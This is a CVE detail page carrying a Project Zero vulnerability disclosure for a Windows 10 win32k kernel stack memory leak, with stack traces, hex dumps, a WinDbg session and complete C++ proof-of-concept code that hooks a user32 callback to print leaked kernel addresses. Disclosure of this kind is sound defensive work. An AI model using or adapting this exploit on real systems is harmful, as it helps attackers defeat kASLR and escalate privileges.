CVE-2017-0167 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1192 We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k!NtUserPaintMenuBar system call, or more specifically, through the user32!fnINLPUAHDRAWMENUITEM user-mode callback (#107 on Windows 10 1607 32-bit). In our tests, the callback is invoked under the following stack trace: --- cut --- a75e6a8c 81b63813 nt!memcpy a75e6aec 9b1bb7bc nt!KeUserModeCallback+0x163 a75e6c10 9b14ff79 win32kfull!SfnINLPUAHDRAWMENUITEM+0x178 a75e6c68 9b1501a3 win32kfull!xxxSendMessageToClient+0xa9 a75e6d20 9b15361c win32kfull!xxxSendTransformableMessageTimeout+0x133 a75e6d44 9b114420 win32kfull!xxxSendMessage+0x20 a75e6dec 9b113adc win32kfull!xxxSendMenuDrawItemMessage+0x102 a75e6e48 9b1138f4 win32kfull!xxxDrawMenuItem+0xee a75e6ecc 9b110955 win32kfull!xxxMenuDraw+0x184 a75e6f08 9b11084e win32kfull!xxxPaintMenuBar+0xe1 a75e6f34 819a8987 win32kfull!NtUserPaintMenuBar+0x7e a75e6f34 77d74d50 nt!KiSystemServicePostCall 00f3f08c 7489666a ntdll!KiFastSystemCallRet 00f3f090 733ea6a8 win32u!NtUserPaintMenuBar+0xa 00f3f194 733e7cef uxtheme!CThemeWnd::NcPaint+0x1fc 00f3f1b8 733ef3c0 uxtheme!OnDwpNcActivate+0x3f 00f3f22c 733ede88 uxtheme!_ThemeDefWindowProc+0x800 00f3f240 75d8c2aa uxtheme!ThemeDefWindowProcW+0x18 00f3f298 75d8be4a USER32!DefWindowProcW+0x14a 00f3f2b4 75db53cf USER32!DefWindowProcWorker+0x2a 00f3f2d8 75db8233 USER32!ButtonWndProcW+0x2f 00f3f304 75d8e638 USER32!_InternalCallWinProc+0x2b 00f3f3dc 75d8e3a5 USER32!UserCallWinProcCheckWow+0x218 00f3f438 75da5d6f USER32!DispatchClientMessage+0xb5 00f3f468 77d74c86 USER32!__fnDWORD+0x3f 00f3f498 74894c3a ntdll!KiUserCallbackDispatcher+0x36 00f3f49c 75d9c1a7 win32u!NtUserCreateWindowEx+0xa 00f3f774 75d9ba68 USER32!VerNtUserCreateWindowEx+0x231 00f3f84c 75d9b908 USER32!CreateWindowInternal+0x157 00f3f88c 000d15b7 USER32!CreateWindowExW+0x38 --- cut --- The layout of the i/o structure passed down to the user-mode callback that we're seeing is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................ 00000070: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ 00000080: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................ --- cut --- Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 20 bytes leaked at offsets 0x6c-0x7f. We have determined that these bytes originally come from a smaller structure of size 0x74, allocated in the stack frame of the win32kfull!xxxSendMenuDrawItemMessage function. We can easily demonstrate the vulnerability with a kernel debugger (WinDbg), by setting a breakpoint at win32kfull!xxxSendMenuDrawItemMessage, filling the local structure with a marker 0x41 ('A') byte after stepping through the function prologue, and then observing that these bytes indeed survived any kind of initialization and are printed out by the attached proof-of-concept program: --- cut --- 3: kd> ba e 1 win32kfull!xxxSendMenuDrawItemMessage 3: kd> g Breakpoint 0 hit win32kfull!xxxSendMenuDrawItemMessage: 9b11431e 8bff mov edi,edi 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x2: 9b114320 55 push ebp 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x3: 9b114321 8bec mov ebp,esp 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x5: 9b114323 81ec8c000000 sub esp,8Ch 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0xb: 9b114329 a1e0dd389b mov eax,dword ptr [win32kfull!__security_cookie (9b38dde0)] 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x10: 9b11432e 33c5 xor eax,ebp 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x12: 9b114330 8945fc mov dword ptr [ebp-4],eax 1: kd> p win32kfull!xxxSendMenuDrawItemMessage+0x15: 9b114333 833d0ca6389b00 cmp dword ptr [win32kfull!gihmodUserApiHook (9b38a60c)],0 1: kd> f ebp-78 ebp-78+74-1 41 Filled 0x74 bytes 1: kd> g --- cut --- Then, the relevant part of the PoC output should be similar to the following: --- cut --- 00000000: 88 b2 12 01 92 00 00 00 00 00 00 00 01 00 00 00 ................ 00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9........... 00000020: 61 02 0a 00 1a 08 01 01 08 00 00 00 1f 00 00 00 a............... 00000030: 50 00 00 00 32 00 00 00 00 00 00 00 61 02 0a 00 P...2.......a... 00000040: 1a 08 01 01 00 0a 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:........... 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA 00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........ --- cut --- The 20 aforementioned bytes are clearly leaked to ring-3 in an unmodified, uninitialized form. If we don't manually insert markers into the kernel stack, an example output of the PoC can be as follows: --- cut --- 00000000: 88 b2 ab 01 92 00 00 00 00 00 00 00 01 00 00 00 ................ 00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9........... 00000020: db 01 1d 00 47 08 01 17 08 00 00 00 1f 00 00 00 ....G........... 00000030: 50 00 00 00 32 00 00 00 00 00 00 00 db 01 1d 00 P...2........... 00000040: 47 08 01 17 00 0a 00 00 00 00 00 00 00 00 00 00 G............... 00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:........... 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 28 d3 ab 81 ............(... 00000070: 80 aa 20 9b 33 26 fb af fe ff ff ff 00 5e 18 94 .. .3&.......^.. 00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........ --- cut --- Starting at offset 0x6C, we can observe leaked contents of a kernel _EH3_EXCEPTION_REGISTRATION structure: .Next = 0x81abd328 .ExceptionHandler = 0x9b20aa80 .ScopeTable = 0xaffb2633 .TryLevel = 0xfffffffe This immediately discloses the address of the kernel-mode stack and the win32k image in memory -- information that is largely useful for local attackers seeking to defeat the kASLR exploit mitigation, or disclose other sensitive data stored in the kernel address space. */ #include <Windows.h> #include <cstdio> namespace globals { LPVOID (WINAPI *Orig_fnINLPUAHDRAWMENUITEM)(LPVOID); } // namespace globals; VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } PVOID *GetUser32DispatchTable() { __asm{ mov eax, fs:30h mov eax, [eax + 0x2c] } } BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) { PVOID *DispatchTable = GetUser32DispatchTable(); DWORD OldProtect; if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) { printf("VirtualProtect#1 failed, %d\n", GetLastError()); return FALSE; } *lpOrigHandler = DispatchTable[Index]; DispatchTable[Index] = lpNewHandler; if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) { printf("VirtualProtect#2 failed, %d\n", GetLastError()); return FALSE; } return TRUE; } LPVOID WINAPI fnINLPUAHDRAWMENUITEM_Hook(LPVOID Data) { printf("----------\n"); PrintHex((PBYTE)Data, 0x88); return globals::Orig_fnINLPUAHDRAWMENUITEM(Data); } int main() { // Hook the user32!fnINLPUAHDRAWMENUITEM user-mode callback dispatch function. // The #107 index is specific to Windows 10 1607 32-bit. if (!HookUser32DispatchFunction(107, fnINLPUAHDRAWMENUITEM_Hook, (PVOID *)&globals::Orig_fnINLPUAHDRAWMENUITEM)) { return 1; } // Create a menu. HMENU hmenu = CreateMenu(); AppendMenu(hmenu, MF_STRING, 1337, L"Menu item"); // Create a window with the menu in order to trigger the vulnerability. HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, hmenu, 0, 0); DestroyWindow(hwnd); return 0; }